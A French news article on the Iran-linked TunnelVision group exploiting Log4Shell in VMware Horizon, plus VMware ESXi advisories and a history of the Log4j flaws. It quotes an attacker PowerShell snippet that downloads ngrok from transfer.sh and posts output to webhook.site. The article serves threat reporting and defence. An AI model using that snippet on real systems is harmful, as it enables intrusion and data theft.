SentinelLabs a suivi l'activité d'un acteur malveillant affilié à l'Iran opérant au Moyen-Orient et aux États-Unis. En raison de la forte dépendance de l'acteur malveillant aux outils de tunnellisation, ainsi que de la manière unique dont il choisit de les déployer largement, l'équipe suit ce groupe d'activités sous le nom de TunnelVision. Tout comme d'autres acteurs malveillants iraniens opérant dans la région ces derniers temps, les activités de TunnelVision étaient liées au déploiement de rançongiciels, faisant du groupe un acteur potentiellement destructeur.Des hackers qui seraient affiliés au gouvernement iranien exploitent la vulnérabilité critique Log4j pour attaquer au ransomware les utilisateurs de VMware utilisant des versions non corrigés, ont déclaré jeudi des chercheurs.
La société de sécurité SentinelOne a baptisé le groupe TunnelVision. Le nom est destiné à souligner la forte dépendance de TunnelVision vis-à-vis des outils de tunnellisation et la manière unique dont il les déploie. Dans le passé, TunnelVision a exploité les vulnérabilités dites 0-day pour pirater les organisations. Les vulnérabilités dans Fortinet FortiOS (CVE-2018-13379) et Microsoft Exchange (ProxyShell) sont deux des cibles les plus connues du groupe.
Pour mémoire, une vulnérabilité zero-day ou 0-day (en anglais zero-day vulnerability) désigne une faille de sécurité informatique dont l'éditeur du logiciel ou le fournisseur de service n'a pas encore connaissance, ou qui n'a pas encore reçu de correctif. Par extension, on parle d'exploitation zero-day (zero-day exploit) lorsque ce type de faille est utilisé par des cyberdélinquants pour lancer des attaques contre des installations vulnérables.
Vient alors Log4Shell
Récemment, a rapporté SentinelOne, TunnelVision a commencé à exploiter une vulnérabilité critique dans Log4j, un utilitaire de journalisation open source intégré à des milliers d'applications. CVE-2021-44228 (ou Log4Shell, comme la vulnérabilité est surnommée) permet aux attaquants de prendre facilement le contrôle à distance des ordinateurs exécutant des applications dans le langage de programmation Java.
La recherche SentinelOne montre qu'une campagne exploitant cette faille est lancée et cible es organisations exécutant VMware Horizon, un produit de virtualisation de postes de travail et d'applications qui s'exécute sous Windows, macOS et Linux.
Exploitation de VMware Horizon
L'exploitation de Log4j dans VMware Horizon se caractérise par un processus malveillant généré à partir du service Tomcat du produit VMware (C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe).
Les attaquants de TunnelVision exploitent activement la vulnérabilité pour exécuter des commandes PowerShell malveillantes, déployer des portes dérobées, créer des utilisateurs de porte dérobée, collecter des informations d'identification et effectuer des mouvements latéraux.
En règle générale, l'auteur malveillant exploite initialement la vulnérabilité Log4j pour exécuter directement des commandes PowerShell, puis exécute d'autres commandes au moyen de shells inversés PS, exécutés via le processus Tomcat.
Apache Tomcat est un serveur Web open source que VMware et d'autres logiciels d'entreprise utilisent pour déployer et servir des applications Web basées sur Java. Une fois installé, un shell permet aux hackers d'exécuter à distance les commandes de leur choix sur les réseaux exploités. Une fois installé, les membres de TunnelVision l'utilisent pour :
- Exécuter les commandes de reconnaissance
- Créer un utilisateur de porte dérobée et l'ajouter au groupe d'administrateurs réseau
- Collecter les informations d'identification à l'aide de ProcDump, de comsvcs MiniDump ou d'un hive dump de SAM (Security Account Manager ou gestionnaire des comptes de sécurité). SAM est la base de données des comptes locaux sur Windows Server 2003, Windows XP, Windows 2000. C'est l'un des composants de la base de registre. Elle contient les mots de passe locaux. et de comsvcs MiniDump
- Télécharger et exécuter des outils de tunnellisation, y compris Plink et Ngrok, qui sont utilisés pour tunnelliser le trafic du protocole de bureau à distance
Commandes PowerShell
Les opérateurs de TunnelVision ont exploité la vulnérabilité Log4j dans VMware Horizon pour exécuter des commandes PowerShell, renvoyant les sorties à l'aide d'un webhook. Dans cet exemple, l'auteur malveillant a tenté de télécharger ngrok sur un serveur VMware Horizon compromis*:
| Code Powershell : | Sélectionner tout |
1 2 3 4 5 6 7 8 | try{ (New-Object System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Public\public.exe"); Rename-Item 'c://Users//public//new.txt' 'microsoft.exe'; $a=iex 'dir "c://Users//public//"' | Out-String; iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing; }catch{ iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} -UseBasicParsing; } |
Tout au long de l'activité, l'utilisation de plusieurs services légitimes a été observée. Étant donné qu'un environnement est compromis par TunnelVision, il peut être utile de rechercher des connexions sortantes vers l'un de ces services publics légitimes*:
- transfert.sh
- pastebin.com
- webhook.site
- ufile.io
- raw.githubusercontent.com
VMware corrige les vulnérabilités critiques invité-hôte
Dans un avis cette semaine, VMware a alerté les utilisateurs des vulnérabilités invité-hôte dans les contrôleurs USB XHCI et UHCI de son hyperviseur ESXi, ainsi que d'une faille importante corrigée dans NSX Data Center for vSphere.
Au total, cinq vulnérabilités ont été découvertes dans ESXi, Workstation, Cloud Foundation (ESXi) et Fusion de VMware lors de la Tianfu Cup 2021, une compétition de hacking similaire à Pwn2Own et qui se déroule en Chine, par le Kunlun Lab du pays. Les bogues découverts par Kunlun ont été divulgués en privé à VMware – bien que l'année dernière, la Chine ait adopté une nouvelle loi ordonnant aux chercheurs en sécurité de révéler leurs découvertes au ministère de la Sécurité publique du pays au moins deux jours avant tout le monde.
Le vendeur a déclaré qu'il n'avait vu aucune preuve que les conclusions du concours avaient été exploitées par des hackers. Des correctifs ont été publiés, c'est maintenant aux administrateurs de les implémenter. Les vulnérabilités vont des failles use-after-free() et double-fetch qui peuvent être exploitées pour exécuter du code sur l'hôte, à un déni de service (DoS) à l'ancienne. La liste complète pour ESXi, Workstation, Cloud Foundation et Fusion est*:
- CVE-2021-22040, Vulnérabilité Use-after-free() dans le contrôleur USB XHCI
- CVE-2021-22041, Vulnérabilité de double extraction dans le contrôleur USB UHCI
- CVE-2021-22042, vulnérabilité d'accès non autorisé aux paramètres ESXi
- CVE-2021-22043, paramètres ESXi et vulnérabilité TOCTOU
- CVE-2021-22050, vulnérabilité de déni de service HTTP POST lente d'ESXi (découverte par SolidLab en Russie)
« Les vulnérabilités individuelles documentées sur cette VMSA (VMware Security Advisory) ont une gravité importante/modérée, mais la combinaison de ces problèmes peut entraîner une gravité plus élevée, d'où la gravité de cette VMSA est au niveau de gravité critique », a déclaré VMware.
Les bogues des contrôleurs USB XHCI et UHCI peuvent être exploités par une personne malveillante disposant de privilèges administratifs dans une machine virtuelle pour exécuter du code en tant que processus VMX de la machine virtuelle exécuté sur l'hôte. Si les lecteurs ont un sentiment de déjà-vu à ce sujet, c'est parce qu'une vulnérabilité décrite de manière presque identique a été signalée en 2020 et suivie sous le nom de CVE-2020-4004.
VMware a noté*: « En bref, les correctifs VMware ESXi, Workstation et Fusion sont les méthodes les plus rapides pour résoudre ces problèmes. Il existe également une solution de contournement*: supprimer les contrôleurs USB des machines virtuelles, bien que cela puisse être irréalisable à grande échelle et n'élimine pas le une menace potentielle comme le font les correctifs ».
Ainsi, si vous avez des machines virtuelles avec ces contrôleurs USB déjà retirés, vous pouvez pousser un petit soupir de soulagement.
Pendant ce temps, les failles de settingsd peuvent être exploitées pour écrire dans des fichiers arbitraires ou accéder au service en tant qu'utilisateur disposant de privilèges plus élevés. La faille NSX peut être exploitée par un utilisateur disposant d'un accès SSH à un équipement NSX-Edge pour exécuter des commandes en tant que root. Ceci est également présent dans Cloud Foundation (NSX-V).
Historique de la faille affectant Log4J
Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.
Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap:// est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.
Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.
La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».
Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.
La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :
« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».
La faille a été corrigée dans Log4j 2.17.0 (Java 8).
Un autre bogue critique d'exécution de code à distance, suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.
Classé « modéré » en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.
« JDBC Appender doit utiliser JndiManager lors de l'accès à JNDI. L'accès JNDI doit être contrôlé via une propriété système », est-il indiqué sur la description du problème. « Lié à CVE-2021-44832 où un attaquant autorisé à modifier le fichier de configuration de journalisation peut construire une configuration malveillante à l'aide d'un appender JDBC avec une source de données référençant un URI JNDI qui peut exécuter du code à distance. »
L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.
La directrice de la CISA, Jen Easterly, a indiqué plus tôt cette année que la vulnérabilité, qui affecte des dizaines de millions d'appareils connectés à Internet, est la pire qu'elle ait vue dans sa carrière. Il est possible, a-t-elle dit, que les attaquants patientent, attendant que les entreprises et autres baissent leurs défenses avant d'attaquer : « Nous nous attendons à ce que Log4Shell soit utilisé dans les intrusions dans le futur », a déclaré Easterly. Elle a noté la violation de données d'Equifax en 2017, qui a compromis les informations personnelles de près de 150 millions d'Américains, découlait d'une vulnérabilité dans un logiciel open source.
Sources : SentinelOne, VMWare (1, 2)
Et vous ?
Avez-vous déjà effectué les mises à jour pour corriger Log4J ? Partagez-vous l'opinion de la directrice du CISA qui s'attend à des retombées de la faille qui vont s'étendre sur des années ?Voir aussi :
95 000 cyberattaques ont été recensées cette année, une augmentation de 45 398 par rapport à 2020, les grandes entreprises étant les plus ciblées, selon Orange Cyberdefense Les ransomwares ont augmenté de 62 % depuis 2019, avec un pic de 158 % en Amérique du Nord, les cybercriminels utilisant des tactiques plus sophistiquées et des variantes plus dangereuses comme Ryuk Les entreprises de taille moyenne sont 490 % plus susceptibles d'être victimes d'une atteinte à la vie privé, dû au manque de ressources et au coût élevé des expertises, selon Coro 
